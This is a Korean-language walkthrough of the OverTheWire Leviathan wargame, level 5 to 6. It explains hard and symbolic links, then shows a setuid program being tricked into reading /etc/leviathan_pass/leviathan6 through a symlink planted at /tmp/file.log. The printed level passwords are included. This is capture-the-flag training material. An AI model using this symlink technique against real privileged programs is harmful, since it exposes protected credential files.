Computer Security

#4 Wargame leviathan4 (Level5 ~ Level6), link 명령어 본문

Wargame:leviathan

#4 Wargame leviathan4 (Level5 ~ Level6), link 명령어

쿠리 Kuri 2022. 7. 29. 18:30

Level5 -> Level6


ln (link) 명령어

  • 한 파일을 다른 파일 이름으로도 사용하고자 할 때 사용하는 명령어,
  • 링크된 파일 중 한 파일을 수정하면 다른 파일들도 수정됨,
  • 하드링크와 심볼릭링크가 있음,

하드 링크

$ ln [원본 파일명] [대상파일명]

  • 하나의 파일에 여러 개의 이름을 부여함
  • 파일을 없애려면 링크로 생성된 링크 파일을 모두 지워야 함

 

심볼릭 링크

$ ln  -s [원본 파일명] [대상파일명]

  • 윈도우 운영체제의 바로 가기 아이콘이라고 보면됨,
  • 링크로 생성된 파일에 내용이 존재하지 않고 각각의 i-node를 가진 또 다른 파일이 어디를 가리키고 있는지 알려주는 역할
  • 원본파일명이 바뀌면 사용하지 못함

 

rm [파일명] : 링크 삭제

 


1. ls -al 을 확인해보니 leviathan5 파일이 있고, 얘는 역시 setuid 로 실행된다. 

leviathan5@leviathan:~$ ls -al
total 28
drwxr-xr-x  2 root       root       4096 Aug 26  2019 .
drwxr-xr-x 10 root       root       4096 Aug 26  2019 ..
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-r-sr-x---  1 leviathan6 leviathan5 7560 Aug 26  2019 leviathan5
-rw-r--r--  1 root       root        675 May 15  2017 .profile

 

 

 

2. ./leviathan5 실행시켜보니, 뭐 /tmp/file.log 파일을 읽어주는데, 못찾겠다는것 같다.

leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log

r2 leviathan5

r2 로 살펴보니 저 경로 파일을 읽어 주는것이 맞는 것 같다.

 

 

 

3. /tmp 에 접근해서 file.log파일 생성후, 그 안에 leviathan5 의 비밀번호를 넣어준다.

leviathan5@leviathan:~$ cd /tmp
leviathan5@leviathan:/tmp$ touch file.log
leviathan5@leviathan:/tmp$ vi file.log
leviathan5@leviathan:/tmp$ cat file.log
Tith4cokei

 

 

 

4.  ln -s 명령어로 링크를 걸어주고 ./leviathan5 실행시켜주면 leviathan6의 비밀번호가 나온다.

leviathan5@leviathan:/tmp$ ln -s /etc/leviathan_pass/leviathan6 file.log
leviathan5@leviathan:/tmp$ cd
leviathan5@leviathan:~$ ./leviathan5
UgaoFee4li

 

 

 

5. 얻은 leviathan6 의 비밀번호:UgaoFee4li 를 이용해 leviathan6에 접속하면 성공!

--[ Tools ]--

 For your convenience we have installed a few usefull tools which you can find
 in the following locations:

    * pwndbg (https://github.com/pwndbg/pwndbg) in /usr/local/pwndbg/
    * peda (https://github.com/longld/peda.git) in /usr/local/peda/
    * gdbinit (https://github.com/gdbinit/Gdbinit) in /usr/local/gdbinit/
    * pwntools (https://github.com/Gallopsled/pwntools)
    * radare2 (http://www.radare.org/)
    * checksec.sh (http://www.trapkit.de/tools/checksec.html) in /usr/local/bin/checksec.sh

--[ More information ]--

  For more information regarding individual wargames, visit
  http://www.overthewire.org/wargames/

  For support, questions or comments, contact us through IRC on
  irc.overthewire.org #wargames.

  Enjoy your stay!

leviathan6@leviathan:~$

 

 

 

Comments